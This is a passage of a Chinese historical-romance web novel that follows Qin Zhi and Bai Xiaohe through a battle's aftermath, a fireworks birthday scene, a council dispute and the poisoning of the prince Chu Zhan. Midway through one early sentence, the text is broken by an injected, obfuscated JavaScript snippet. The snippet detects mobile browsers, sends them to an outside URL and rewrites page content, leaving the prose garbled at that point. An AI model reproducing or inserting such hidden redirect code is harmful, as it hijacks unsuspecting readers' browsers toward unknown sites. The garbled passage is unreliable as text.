霎时,千人吹号呐喊,营帐中一时乱作一团,纷纷举着兵器朝这边冲来,但…… 调虎离山。 黑影闪现,八千兵马自山坡俯冲而下,气吞山河般撞向营帐,踏碎一切,身后粮仓赫然燃起冲天火光,将留锡变成一片火海…… ---- “还好吧?”秦祉笑眯眯地凑近,“我还当柏都督习以为常呢。” “坚持住啊,王戚得了信,徐军现在军心涣散,正是一鼓作气的时候!” 倏地,她的手腕被对方抓住,温热的触感从手心蔓延,只听柏萧鹤笑道:“少幸灾乐祸。” 二人面容离的极近,像是互被吸引,带着笑意的双眸交错,越靠越近,直到下一秒,居川声音出现,才打破了看似诡异实则旖旎的气氛,他狐疑地试探:“额......冰清玉洁的柏都督?” 他心道这戏份便是现在还没能结束的吗? “你住嘴!”但生怕这人再给自己添上戏份,二人异口同声的回头打断道。 …… 但轻松的氛围并未持续多久,韩晟的信号已经率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254506|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先传了过来,王戚徐生接到条子,消息一出,自有他的人从中作梗,粮仓被烧一事当即传遍大军,闹得人心惶惶。 后备无粮,徐军大乱,十万大军没有在此停留的能力,必须马上撤军,原本王戚从劭关偷偷绕端寿、意图前后夹击的打算也直接打了水漂,只可惜天不遂人愿,如今撤退的路线也叫人彻底打散了。 崔颉妙的精英兵马从沄江一路南下,管乔从西侧率重骑碾压至城门外,至于主战场,除去韩晟搅和的浑水外,城门第二次缓缓开启,柏萧鹤、居川率兵以不可阻挡的雷霆之势横扫徐军。 战火弥漫,遍野肃杀,刀光剑影中无数士兵倒下,震天的厮杀响彻云霄,掩盖一切嚎鸣惨叫,剑锋刺穿一颗颗人头,脚下累积一道道尸首,绝望、杀戮深深笼罩着,好似看不到尽头...头顶朝夕交替、日月轮换,足有数日之后,鲜血浸透残衣大地,满山血红一片,疮痍遍布,箭矢碎石中白骨累累,血海尸山延绵数十里之远...... 沧州胜了... 可沧州,也没有胜。 这一战持续了近半月的时间,直到徐生被捉,徐军撤回沄江对岸,才彻底落下帷幕。 一月后,端寿城门工兵连同百姓一起修补着城墙,大街小巷重新回归了往日的平和。 沧州一战落下帷幕后,仍有不少公务等着秦祉去处理,但她聪明着呢,知道众人都去王府里寻她,便干脆躲懒跑去了春山居里吃酒。 食案上碧玉光素莲瓣盘内装晶莹剔透的素醒酒水,旁边白釉折枝月季碗盛团团糯糯的软酪,冒着热气刚出炉的炙肉薄薄一层切放整齐,搭配着吸油的方糕和小碟新鲜的葡萄,最后是一壶琉璃清酒。 “你倒是会享受。”春山居眼下没有半点人气,陆绥端坐到了对面,将手中最后一碗冰雪冷元子搁置在她面前,“端寿现在都快忙成一团了,你还有闲心躲这来玩。” 秦祉用匙舀了一勺,冰冰凉凉的味觉在口齿间炸开,带着丝丝甜意,她惬意地眯起眸:“那与本王有何干系?” “眼下沧州本就混乱,楚湛和陶祺,以及端寿其他士族都等着处理,沧州牧陶卓的身体又大不如前,徐军刚刚撤退,兰干插手劭关......”秦祉掰着手指一件件数过去,然后突然停了一下。 “啊对,还有柏浪昭,他这次活捉徐生,战功赫赫,怕是不会满足于郁南太守一位了,这么算下来,至少半年内,沧州不会安稳。” “你和柏浪昭......”陆绥单手轻轻敲着食案边缘,若有所思地问,“在一起了?” “咳咳……”秦祉一下被呛住了,咳了半天才缓过来,陆绥将茶递过去,“这么紧张做什么,真在一起了?” “安心,这种事没什么值得惊讶的。”陆绥品了一口软酪,“不就是男人嘛,只是没想到殿下够厉害的啊,连柏浪昭那样的男人都能睡……” 秦祉:“……嘘。” 陆绥见对方忽然正经的表情,察觉到了一丝异样,身后一道黑影笼罩下来,旋即听见熟悉含笑的嗓音问:“谁和谁睡?” 77. 烟花 “这可真是腿长沾露水,嘴长惹是非啊。”陆绥若无其事的拍了拍衣袖,起身说,“说曹操曹操到,您二位聊吧,在下便不在这里妨碍二位的好事了。” 他颇具礼节的微微颔首,笑道:“殿下,注意身体,保重。”然后,眨了一下眼睛。 她保重什么身体! 陆绥走时,还相当贴心的为他们关了春山居的门,阳光从窗棂间洒下道道金光,院中枝叶如一卷水墨画,安静而祥和。 就怨陆绥走前那番莫名其妙的话,显得此刻气氛都有点尴尬… “喝点?”秦祉歪头看向站在对侧的人,将酒推了出去。 柏萧鹤垂眸看着,未几一笑:“殿下倒是雅兴,廷议那已经乱成一团了。” 清酒从壶口缓缓流淌成一条线,醇香的气息从杯盏中散开,秦祉单手撑着下巴,说:“徐生那边......徐行定会派人来谈和,估计暂时是杀不成的。” “十日后,张陏会来。”柏萧鹤说,“要想换得徐生,他们就要付出些代价,至少楚湛这人需让他们处理掉。” 楚湛身份不同,毕竟是皇室宗亲,又掌管端寿,由秦祉贸然出手,即使他的确不是什么好人,但事后也难免留下口舌之争,但若是徐行动手,那就是圣意。 “只不过陶祺,可能还要殿下来处理。” 秦祉沉默两秒,偏头笑了一下:“柏都督来这是特意找我聊正事的?” 柏萧鹤拿着酒盏的手一顿,抬眼看她:“那要是不正经的......殿下也聊?” “有多不正经?” “比如......”柏萧鹤语气带着点浪荡,但目光直勾勾落在秦祉脸上,显得格外认真而专注,“聊聊殿下的心?” 秦祉呼吸慢了一瞬,没说话。 “殿下的心可有属意?” 秦祉思忖片刻,煞有其事的表示:“......沧州?” 空气沉默了良久。 “什么?” 秦祉点点头:“沧州。” 这事是应该怨管乔的。 在得知柏萧鹤真的喜欢上秦祉的那一刻,管乔的第一个想法居然是:解祈安诚不欺我! 第二个想法是:完了,他家柏将军要品尝到爱而不得的滋味了...... 这倒不是别的原因,管乔仅仅从切身实际出发来分析的:“你看,虽然你是常胜将军,又是郁南太守,封了郁南亭侯,手下也有兵权,如今还领了都督一职,赢得沧州之战......” 他一件件数过去,越说好像越渐入佳境一般,不料话锋一转:“可是你喜欢的那位又是什么人啊?” “人家是当今天子的皇表兄,正八经被亲封的晋赭亲王殿下,有自己的封地,如今又是梌州刺史,手下朔昭阁能人一抓一大把,遍布天下,更何况、这沧州之战他更是功不可没......” 说着说着,对面没了声音,管乔狐疑地看去,对视上了柏萧鹤“你想死吗”的眼神。 他差点被呛死:“咳!” “虽然殿下是很优秀,可是……”管乔深深叹了一口气,“我支持你!将军,你真的,吾辈楷模!” “少说废话。”柏萧鹤单手揉着太阳穴,让他唠叨的头疼,若非他的确不知下一步该当如何,也不会找这种不靠谱的人来出什么馊主意,至少也得是浮生、解祈安都在的情况才稳妥一些,大概吧。 而事实证明,管乔说的话就是纯放屁。 这一番试探后,当“沧州”二字从秦祉口中淡淡飘出来的时候,仿佛一道天雷直接了当的劈柏萧鹤脑袋上了,这属实是......太出乎意料了。 怎么会是沧州呢?怎么能是沧州呢? 虽然好歹比起什么乱七八糟的名字出现要好得多,但...... 怎么就偏偏会出现沧州二字! 柏萧鹤敛眸低笑,带着点无可奈何:“殿下可真是......” “这样说来,两颗心便不能放到一处去了,会心生戒备。” 秦祉笑说:“或者被吞噬。” “你想吞噬我吗?” “那你想被我吞噬吗?” 互相试探着,谁也没有先一步交付真心。 “今夜亥时,端寿城南,我等你。”柏萧鹤避开了那个问题,轻声道。 ---- 说实话,有点像私奔。 尤其是身后端寿城内一片寂静,夜色笼罩大地的时候。 秦祉轻轻扯着缰绳,骑马停在南门外,水国蒹葭夜有霜,月寒山色共芒芒【1】,头顶漫天繁星,如银河般绚烂夺目,偶有虫鸣隐约从草丛中传出阵阵声响,除此之外,便只有自己微弱起伏的呼吸。 秦祉纵马顺着开阔的土地缓缓行走,月华浮动,打下柔和的光影,隐约之间,一缕悠扬飘渺的箫声自湖边传来,丝竹之音好似天籁。 明月如水、冰清沉静,那人斜倚着坐在树上,槐黄与留黄交错的金丝窄袖圆领袍,腰佩皮饰,上嵌玛瑙琉璃,四股长生辫随风晃动在肩头,发饰珠宝轻轻碰撞,隐约发出悦耳的声响。 一双淡漠的凤眸微敛,优越的眉弓显得五官极为深邃含情,长睫洒下淡淡阴影,骨节分明的双手修长匀称,在紫竹映衬下格外白皙。 那箫声与他本人有着极大的反差,幽远沉郁、余音袅袅,仿若置身氾州无边大漠草原、回荡在空茫山谷。 “月下独吟箫声远,一曲清音绕林间。【2】”那树枝不高,秦祉骑于马上,恰好只矮了不过二十寸,她微微仰头,对上柏萧鹤堪称蛊惑的眼神后…… 更像私奔了! “好听吗?”柏萧鹤收了箫,垂眸问她。 “箫声是为一绝,只可惜我手边无琴,不然定同你合奏一曲。”秦祉笑着歪了歪脑袋,“只是......你特意寻我来此,便只是为这个?” “嗯。”声音很轻,轻到秦祉险些以为自己听错了,只是柏萧鹤看着她,须臾又是一笑,颔首道:“只吹给你听的。” ! 秦祉呼吸一窒,怎么说话突然不再弯弯绕绕了?消失这半天,莫非找人指点迷津去了。 她脑子里思绪万千,良久却吐出一句:“很好听。” 柏萧鹤低声笑了两下,单手一撑从树枝上一跃而下,稳稳落到草地后,他右手朝上,向秦祉伸出手。 一瞬间,二人位置调转,秦祉自上而下的看去,只觉柏萧鹤像极了一只收了利爪的猛兽, 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秦祉无意识的咽了下口水,她承认,柏萧鹤的样貌当真符合她的审美,尤其是这双薄情锋利的眼中带着勾人的蛊惑,配上独属兰干异域风情的装饰,堪称致命的吸引力。 理智,回来。 “有些无礼。”她说。 “那私下里呢,也不可以吗?”尾音清清淡淡,柏萧鹤微微俯身,靠近秦祉。 “你若执意如此,我拦得住?”秦祉浅笑一声,“今夜又是吹箫,又是烟花,仅仅是为了这个?还是……” “是诞辰。” “楚筠彧,诞辰喜乐,愿世间清平,汝岁千秋。”烟花下,少年的笑意盈盈的双眼拥有着前所未有的明亮。 …… 筠彧,是她的字。 这是她母亲为她取的。 按常理来说,女子十五岁笄礼时才会拥有字,但皇室衰微,晋赭王府深陷争斗漩涡,母亲生怕出什么意外,留下遗憾,便早早替她寻了字来。 但是记忆太模糊了,秦祉曾在秦霂的描绘下去尽力拼凑出母亲的样貌,结果都不尽人意。 而当她十五岁的那年,早已没有人再这样叫她,册封礼后,更多的人都会尊称她一句“晋赭亲王殿下”。 ---- 一场烟花盛宴,这边二人跟戏里般颇具旖旎氛围,另一端居川、管乔等人就显得尤为狼狈了,几个人窸窸窣窣、鬼鬼祟祟地先一步捧着又是箱子又是桶的,早一刻趴在山坡脚下的树丛里呆着,险些没被虫子咬死。 “所以说,柏都督是要给殿下庆生的吗?”郭岑忍不住跺了跺脚,企图赶走因一小簇火苗吸引来的各种飞虫,“可是那是殿下哎,听说今年是他的二十岁生辰,不应该去宗庙行冠礼的吗,这荒郊野外的,就这么敷衍了事了?” 居川睨他一眼,似笑非笑:“不如你去跟将军聊聊,问问看他怎么能如此敷衍殿下呢?” “啊?”郭岑一呆。 下一秒,众人突然一慌,管乔连忙喊道:“点着了!灭掉——” “别那边曲子没吹完,人还没到呢烟花先没了!” 78. 议事厅 一行人战场杀敌一个比一个英勇,而此时却堪称手忙脚乱,成功在烟花燃爆前结束了这场突如其来的“灾难”,山坡下回归了和平。 就在此时,悠扬的箫声顺风声一路吹下,郭岑竖起耳朵听了半天:“原来柏都督还会吹笛子。” “他会吹。”管乔探头企图一览上面的风光,半天什么也没看见,“当年他们五大营的几个人还小,周朔声起哄打赌,凑一起去学的,还叫上了解元寿去监督,结果到最后五个人三个都放弃了,说什么都不继续,周朔声更是反应最大,只剩下他和李竹启两个人坚持了下来,为此那三人赔了一个月的饭钱……” “但是...”他隔空点了点,面无表情的补充道,“这个是箫。” “原来五大营的将军关系这么好的吗?”郭岑直接偏了重点,恍然道,“听传言道,还以为他们的关系并非表面看上去那么和睦,私下里为了兵权互相厮杀也是有的......” 管乔沉默几许,轻叹道:“自幼长大的情分,自然不同。” 只是未来会如何,谁也说不清。 “来了!”居川顺着草丛一路滑下,“可以点火了,我看着人从树上下来朝这边走来了。” “火呢?” “这里我点了就行吧?” “不是等会儿,那边那个也要一起点上吧,不然一会儿窜上去一个算怎么回事?” “点了点了,快跑...” “郭岑你!”居川表情都凝固了一瞬,下一刻连忙挥手,“往河里跳,衣摆着了!” 明明只有三个人,愣是手忙脚乱闹出了三十人的效果,“扑通”一声进入河里的时候,刺骨凉意的河水顺着领口袖口鱼贯而入,激的郭岑“嗷”一嗓子,声音直冲云霄而去,居川和管乔实在是忍不住了,站在河边笑不可支。 声音隐约顺着山坡往外阔去,树下的秦祉动作一顿,她狐疑地望了望远处的黑暗,不可置信地问:“狼来了?” 什么鬼动静? 柏萧鹤觉得头疼,三个人加起来甚至不如浮生一个人靠谱,好在烟花圆满放出来了,至于其他的...... 两个人纵马顺着声音一路下坡,正好撞见郭岑浑身湿透从水里往外爬,烟花的光芒往下一照,简直跟水鬼没有什么两样,若不是居川和管乔还站在旁边扯着这人衣角,秦祉觉得自己就已经想要一脚将人再踹回水里待着了。 “嘿,殿下、柏将军,你们怎么来这了?”管乔诧异道,忙将人从河里拉了起来。 “大半夜听见鬼哭狼嚎,任谁都会来看一眼的。”秦祉无奈的摇头道,“回去吧,深秋夜里别着凉了。” 头顶的烟花络绎不绝,像是一场繁华的泡沫盛宴,成为乱世中转瞬即逝一抹回忆。 ---- 翌日。 喧哗声若隐若现的从端寿王府内传来,一大早便热闹非凡,韩晟单手撑着下巴,趺坐在木案前歪着脑袋汇报着:“沧州牧陶卓如今身体越发不行了,端寿这些事也没法一并送到汝则去处理,因而汝则相自告奋勇,欲前来辅助殿下做事,人现在已经到了。” “除此之外,张陏在今晨也到达了府中,现下请到谒舍休息去了。” “汝则相。”秦祉缓缓睁开双眼,“他是自高奋勇来帮忙,还是来添乱的。” “哎呀那可就不清楚了。”韩晟笑道,“左不过都是各自奔着利益来的,正巧他来,也不能白来不是?那陶祺的事便让他掺和掺和,也算有点参与感。” 一身丹黄色鹤氅,头顶金雕束发冠,项带串式中缀玉石珊瑚珠,腰封下佩白玉透雕灵芝香囊,秦祉从屏风后走出时,王府内的侍女见状连忙俯身行礼道:“晋赭王殿下,众人已到齐,还请殿下移步议事厅。” 人数的确不少,除去她与柏萧鹤手下的人外,端寿本地的官员也都如约而来,议事厅浩浩荡荡地坐满了人,仔细打量过去,足有二三十人在场。 韩晟姿态随意懒散地跟在秦祉身侧,继续说:“话说回来,昨夜殿下同柏萧鹤见了一面?” “你怎么知道?”秦祉微微抬眸。 “哎,南门那边的烟花阵仗多大啊,我站城内都瞧得见,只差没敲锣打鼓的宣告了。”韩晟笑眯眯地回,“要我说也是好事,他柏萧鹤作为郁南太守,未必没有想要吞并端寿、掌控沧州的野心,这样的人要是满心满脑袋的想着情啊爱啊什么的,岂不对殿下的好处极大?” 秦祉若有所思的看了他一眼:“贪心不足蛇吞象啊。” “莫非真要拱手让人?”韩晟眨了眨眼,“不应该啊,若真是居心叵测之人,梌州的危险便要多上一分了。” 秦祉微微一笑,抬腿迈入了议事厅,并未多言。 厅内,众人正虚与委蛇的互相攀谈着有的没的,内里却是谁也看不上谁,维持着表面功夫罢了,秦祉的身影刚一现身,数十道身影一同起身,纷纷行礼道:“殿下。” “殿下既然到了,我们便也不藏着掖着,自端寿一战后已过半月有余,杂七杂八的事却每个人拿定主意,如今各位皆在,不若今儿个便给个交代。”其下自有人按捺不住,率先开口,“这其一便是,端寿王楚湛为何要被关入牢中!” 秦祉单手搭在凭肘几上,冷眼打量着那人,像是一条毒蛇般,冷意入骨,直到对方语毕,她才微微勾唇:“本王以为,当日里街的事诸位都已经了然于心,怎么?” “还需要本王再为你们复述一遍不成?” “里街一事出在攻城时分,当时大家心心念念的都是守城一事,哪里还匀得出功夫管这些,何况当时只有两人指证端寿王,其余大小证据都不够完善,殿下如此便潦草处置了,是否有失妥当?” “哈,这话说的倒是有意思。”管乔双手撑着木案,两眼一挑盛气凌人,退下轻甲,单是一身玄衣也足够唬人,“依你的意思,岂非是在指责殿下不成,当真好大的胆子。” “在下只是认为,凡事都应讲证据。” “那便给你看这个证据。”秦祉微微抬手,拦住了管乔的话,“有劳监野校尉将 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王长史强行压下了乱成一团的脑子,将视线移到秦祉面上,勉强笑道:“在下有些脸盲,殿下这么一说倒也是想起来了,的确是百戏坊的老板来着。” 证据确凿。 一行人陆陆续续地将端寿暗里秘密勾当交代个一清二楚,直接将楚湛彻底锤死,毫无反驳的余地,未几,王长史幽幽道:“这么说来,也是够骇人听闻的了,不成想端寿竟有如此苟且之事,只是殿下,若是依照这几人的口供,那春山居听起来也并非什么好地方。” “据我所知,春山居的背后可是陆氏的二公子,陆绥啊。”王长史意味深长的笑了笑,“要说陆绥全然不知,未免就有些可笑了不是,可若陆绥知晓......那.” “咕噜咕噜。” 四轮车压过竹席地面发出声响,陆衎移到厅堂正中,面容平淡,眼神波澜不惊:“殿下,春山居乃是陆氏上任家主的产业,自上任家主逝世后,因在下腿脚不便,外事诸多事宜皆交由伯端代理,但伯端为人懒散,对此并不上心,因而全权托付给春山居的管事春盈。” “那春盈早就撞死在里街,随你说去都是死无对证!” 陆衎冷眼一扫,漠然视之:“王长史执意定我陆氏的罪,言行举止无一不心向楚湛,岂不更是居心叵测?” “你胡说什么?”他当即脸色一变,“我只是向殿下说出我的猜忌罢了,如今端寿何人不是因此事闹得人心惶惶,你们陆氏作为和春山居关系最大的人,怎能不被怀疑!” “呦,我是不是来的不巧了?”低醇清雅的声音自门外传来,打断了议事厅上的口角纷争,随着声音的来源望去,是一道高挑俊美的身影逆光而站。 都邑令,张陏。 “看样子,殿下还有的忙。”张陏妖冶的双眸绕着厅下缓缓扫视,最终寻了个好位置,他顶着众人或惊疑或恐慌的目光踱步到那人眼前,“麻烦......让让?” 木案前,那张常年没有表情,苍白无血色的脸微微抬了起来,与对方相视。 79. 凶手 韩阁:“?” 这个位置的确够好,那是距离秦祉最近的位置,基本上提剑便能触及对方,韩阁坐在此地无可厚非,一部首席嘛,只是这张陏一来就要抢这位置,多少有些奇怪。 但是对方是张陏的话,好像做出什么都不足为奇了。 韩阁是有些“死人”的气息在身上的,不仅仅是样貌,连同周身气质在内,给人一种浓郁的死气,目光如一汪深泉,漆黑不见底。 对于张陏莫名其妙来的挑衅,他没有一丝反应,只是短暂的进行了思考,权衡利弊后起身,干脆绕到秦祉身侧入座。 对于他而言,位置并不重要,因此他也不能理解这些人争破头为的究竟是什么。 张陏动作一僵,带着点探究的眼神看了过去,而后颇为云淡风轻的笑了。 “都邑令...” 张陏弯唇:“殿下,我还是更喜欢你直接唤我的名字,好歹也是旧识,怎么变的这样生分起来了。” “你是为了这些废话而来的?”秦祉看他。 “自然不是。”张陏颔首道,“只是在下看着这端寿层出不穷的笑话,觉得新奇,若是在谒舍等着殿下处理完,怕是不知要猴年马月了。” “既然都邑令在此,那么不如来当个见证人,好说那楚湛也是个宗亲,即便犯了条令也不该由我们处置不是?”王长史赔笑道,“不如麻烦都邑令将人带去,任由天子发落......” 楚湛和徐行有交易,张陏又是徐行那边的人,他自以为此番处置已经算得上妥帖,总归人不能落到那晋赭王手里,不然后患无穷。 “在下只为一个目的前来。”张陏收敛了笑意,“至于其他,暂且听听再议。” “那便去请端寿王......”王长史这边话未说完,另一端侍卫冒然冲入议事厅,“不好了,牢中守卫来报,端寿王楚湛自戕了——!” “什么?” 木案上的茶杯赫然被打翻了。 端寿地牢,墙壁上烛火幽幽,隐隐约约透光光源看清那狭窄昏暗的过道,地上湿气弥漫,滑腻潮湿的阶梯仿若直通地府,“滴答”一声水珠落地,地牢里,顺着铁栏缝隙朝内望去,只见一道身着华服的少年靠墙坐着,苍白的面庞中双眼目不斜视的瞪出、嘴唇泛紫,无声无息的透着一股反常的味道。 “下官带人查验,确认尸身没有任何受伤的迹象,但尸口、眼开,面青唇紫,疑似中毒而亡。【1】”仵作受着议事厅众人灼热的视线,低首禀报。 “死了?”茶水顺着木案泼到了王长史的手上,烫红一片,但他似乎毫无知觉,只死命瞪着那仵作,“怎么会中毒死了!地牢里有守卫严加看管,谁能混进去给他下毒!” 仵作被吓了一跳,只说:“下官不知,具体是什么毒还得再继续查验。” 秦祉微微点头:“你去吧。” “殿下。”王长史倏地调转视线,“端寿王一死,在座诸位总有受益者。” “端寿王不死,在座诸位也皆是受益者。”秦祉直视对方,慢条斯理道,这人话里话外无非就一个意思,觉得是她暗中下的手,但完全就是个木鱼脑袋,楚湛不死,这端寿也必然沦为别人的地盘,也不想想她秦祉犯得着这个时候动手吗,除了惹得一身腥,哪里来的什么好处? 但是...... 秦祉顺着议事厅众人的脸看去,会是谁对楚湛下毒? “这事说来也有些蹊跷,但也不是无从查起,地牢守卫难道还能不知道这几日有谁进去探望过楚湛吗?”居川舌尖微微舔了下齿尖,歪头嗤笑,“要论杀人,谁比得上你们端寿的士族啊?” “你少胡说八道,我们为何要毒杀楚湛!” “保不齐是怕殿下继续追究春山居呢?”韩晟撑着下巴,百无聊赖的转着眼前的茶盏。 王长史反驳道:“若说春山居,那也是陆氏首当其冲。” 陆绥:怎么又转回来了,没完了! 管乔笑着反问:“那依你的意思,敢情那陆衎的话刚刚都让人喂了狗了,一个字也没让你捞到一口不是?” 陆衎:“......”听着就不像什么好话。 要吵翻天了... 两边你一言我一语的,足足扯了一炷香的时辰,最后秦祉忍无可忍,一拍木案将人全都挥手赶了出去,楚湛一事只能容后再议。 “真热闹啊。”张陏笑着趺坐在垫子上,一改刚刚的作风,随意又散漫,“殿下身边总是这么热闹。” “你若羡慕,背弃徐行来本王这里,说不定也能寻到个好出路。” “那还是免了。”张陏说,“听说虞仓寅搬去梌州了,在下还没有到活的不耐烦的时候。” “哎说到这个,怎么他偏生能接受柏将军和殿下走的如此近,他不恨花颖慈了?”张陏歪着脑袋,视线扫到对侧,而后微微一笑。 “少说废话。”柏萧鹤的声音宛如冷面罗刹,又冷又硬,带着点陌生的意味让秦祉忍不住诧异地看了他一眼,心道:两幅嗓子? 张陏双手一摊,正色道:“在下此次前来只为徐生一人而已,二位和他自兰干清县结了点仇,徐生这孩子不懂事,多有得罪,但好歹是徐行的侄子,就这么关押在端寿也不是事儿啊。” “徐生与端寿一战败,他作为战俘被抓,谈何不对?”柏萧鹤为自己斟了杯茶,头也不抬的反问。 “两军交战,胜败乃兵家常事,我们自然无话可说。”张陏道,“只是徐生这人终归身份不同,徐行不能不管。” “那就拿出你们的诚意。” “盐牌。” 秦祉闻言一笑:“宗室本就有盐铁经营的权利,你这不是诚意,是威胁。” “普天之下莫非王土。”张陏意味深长道,“这个啊,叫做名正言顺。” 是交易,也是威胁。 张陏或者说徐行给出的,是足以垄断梌州盐铁的筹码,但,梌州盐铁本就在她手中握着的。 他这番话分明是要将这权利往回抢的意思,简直流氓行为啊。 “既如此那便也没什么好谈的了。”秦祉微微眯眸,“韩阁,送客。” 木门赫然朝两侧推开,刚刚那个被他从位置上赶走的人现在又反过来上演了一出风水轮流转,韩阁匣光宝刀一勾,就要扯着人往外走,像极了前来勾魂的黑白无 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“殿下要推举陶祺……这是为何?且不说他能否担得起此任,单是沧州一战他偷运粮草一事,便足以杀他百十余次。” 陆绥的声音缓缓传入耳中,食案前,生牛肉横断切成薄薄的一片,浸酒整一日有余,用紫苏梅、沙糖石蜜熬制而成的梅子酱作辅料,入口生鲜甜美,甚至带着细碎的冰碴【2】,秦祉心满意足的:“嗯——” 陆绥:“?” “殿下,你请我们来不会真是为了吃东西的吧?” 屋内,崔颉妙、韩阁、韩晟、陆衎、陆绥五人齐聚,明晃晃地写明了“自己人”三个大字。 “先吃吧,等过了这顿……” “可再就吃不到了。”韩晟顺着话往下说,“这听着有点断头饭的意思啊阁主。” “既然都没心情吃,那便聊一聊。”秦祉将箸搁置,抬眼,“你们以为,毒杀楚湛的人……” “是谁。” “盼着他死的人不少。”陆绥说,“端寿士族没有人想留下这个火铳一样的人,说不准哪天殿下要捏他们错,楚湛就能再吐出点什么东西来。” “若说是张陏……那他的目的难不成是为了徐军大败来泄愤的?”陆绥随即摇头否认,“这人是疯,但从不做没有意义的事。” “若我说,是我呢?”云淡风轻的一句话,却如雷霆般在屋内炸响。 “你?”陆绥狐疑地看着秦祉,“楚湛死了对你有什么好处?” “端寿无首,任人宰割。” “但罪名皆在,通敌一事证据确凿。” “谁有证据?” “自然是……”陆绥一怔,是了,陆氏的证据,那信辗转两军,却没有将人当场扣住,若陆氏威望仍在也罢,可这件事上,一来春山居一事说不清楚,二来他们陆氏站队晋赭王,于情于理他们给出的证据,都不算可信。 但一问一答间,几人已经了然秦祉的目的,她在通过这个方式,寻找那个因楚湛之死被利好的人。 80. 危机四伏 没有证据。 屋内所有人神色都暗了下来,一时间鸦雀无声,只能听见秦祉咬着牛肉发出的丁点咀嚼声,一下一下,吃的很香。 “毒杀楚湛之人,未必是要陷害殿下,或可为了制衡。”陆衎手中摩挲着珠串,敛眸说道。 “但不论是谁,总归不可能是陶祺。”韩晟接道,“所以这就是阁主举荐他的原因,一来够蠢、易于掌控,这二来...他不与目前任意一股势力合作,又能将阁主从此事中摘个干净,果真是最佳人选。” 崔颉妙闻言像是察觉到了点什么,她视线一偏,看向秦祉:“还有一人。” 后者微微一笑,竖起食指:“嘘。” ---- 收尾的事稀稀拉拉的总算在入冬前处理了干净,徐生被张陏领走了,这人彻底算是和秦祉结了仇恨,灰头土脸的从地牢里爬出来的时候,正巧对上秦祉笑眯眯的挥手,险些没气吐血,他满腔怒气的想要在走前放个狠话,却不曾想让柏萧鹤差点砍掉一只手,要不是张陏手疾眼快,那就未必只是堪堪被削下一片衣角了。 秦祉一行人马车皆已备好,返程前夕,她独身一人去了城外,冷风从河面拂荡,带着刺骨的凉刮过耳际,如今呼出一口气,都好似要凝结成小冰珠般。 山坡下垒了不少石头,有些草率的堆在一处,算是因沧州之战而死的无数魂魄的葬身之地。 但最开始的那几块,是点桃、明薇她们搭起来的,不知是为了死去的春盈,还是为春山居下薄命的女子。 “猜到你会在这。”身后衣角翻飞的声音,一道人影落下,遮蔽暖阳,秦祉双手撑着地,微微仰头和这人对视,“你怎么来了?” 柏萧鹤手里拎着一小壶清酒,吊在她眼前荡着:“要吗?” 见秦祉果断拔下塞子闷了一大口,他笑道:“你不怕我下毒?” “呃......”沉默几秒后,秦祉忽然捂住了脖颈,佯装窒息道,“你敢、谋害本王?” 柏萧鹤蹲下身,单膝着地靠近对方,从秦祉手中交缠着取下酒壶,贴着同一处唇印喝下:“嗯,我也喝了,那就干脆死在一处好了。” “这算什么,坦露心迹吗?” “得成比目何辞死,愿作鸳鸯不羡仙。【1】” “可是现在死的人,是楚湛啊。”秦祉轻声说着,“柏浪昭,你得换个说法。” 两个人同时看进对方的眼眸中,未几笑成了一团,山坡空阔,笑声漫野。 没有战争,没有勾心斗角,恣意随性、不顾礼节的躺在草地,以天为盖、以地为庐,活得一片潇洒自在。 “有正事吧?”笑累了,秦祉叹了一口气,扯回了正题。 两颗脑袋紧挨着,享受片刻安宁的柏萧鹤轻轻“嗯”道:“郇稻回来了。” 部曲督,郇稻。 讨阮联盟时借口生病,沧州之战前夕被楚湛派往交州打仗,眼下这个时候回来一看,发现端寿天变了,说不上是好笑多一些,还是麻烦大一些。 “已经到端寿了还是?” “途径郁南,让浮生拦下了,听信里的意思,尚不知情。” “我跟他哥倒是有点交情。”秦祉食指微微摩挲着下颚,只是交情不算太好就是了,他哥名为郇翊,也同是都邑学宫的学生,和周和关系一直不错,如今人与周和在襄州一带盘踞,跃跃欲试着准备开战中。 但郇翊与郇稻关系并非多亲,郇稻作为家中庶子,不太受族子的拥戴,自他成年以后便自寻了出处跑来端寿做事了。 这么想来,未必不能收为己用。 只是没时间再耽搁下去,这里全权交由陆氏去管,无形之中,沧州的权利随着时间的推移彻底更迭…… 如今掌权之人,除了半只脚已经迈入棺材的沧州牧陶卓外,便是柏萧鹤与秦祉二人,分庭抗礼。 ---- 落花枯叶洋洋洒洒铺满小路,侍女扫着地的功夫,转眼间被扬了一脸花瓣,当即大喊着:“凌云,你别闹了,殿下马上就要回府,还不抓紧时间来帮忙!” 凌云笑着躲开了对方的打闹:“我也是听了司昀将军的话,今日才没有去兵场练功的,不过他说不用着急,殿下会去朔昭阁议事的。” “怎么这么着急,这仗打得这么久,又一路奔波,都不先歇息一日,就又要去处理公务?” “没办法嘛,这些日子积压的公务总有需要殿下过目的,你不如找些姑娘们备好吃食热水,等她回来了便能休息了。” “哎!那你呢?” “我去朔昭阁送情报!”凌云一边喊着,一边从侧门风风火火地跑了出去,足有一年的时间,司昀明里暗里提携着,加之她还算有些天赋在的,对付个市井流氓根本不成问题。 梌州晋赭入了冬也算不上多冷,毕竟地处沄江以南,至少是看不到多少雪景的,路上往来的百姓都裹着略显臃肿的外衣,凌云一身轻便的服饰反而引得旁人注目。 “凌云姑娘这是又要忙起来了?”路边的买鱼的婆婆笑着搭话。 凌云“嘿嘿”一笑:“婆婆这鱼够新鲜啊,等我一会儿来买!” 一路说说笑笑,便直奔着朔昭阁而去。 “哎小心些。”速度太快了,险些和门里往外走的人撞个正着,她心有余悸地拍着胸脯抬头叫道:“太守。” 高出足有两个头的贾文勰只手一拎,便将人扶稳了,他身上披着蝶翅蓝直领对襟披风,衬的面容肌肤白玉雪,见到来人微微蹙眉,“怎么没多穿些?” “哦,司昀将军说这叫抗寒冷训练......” 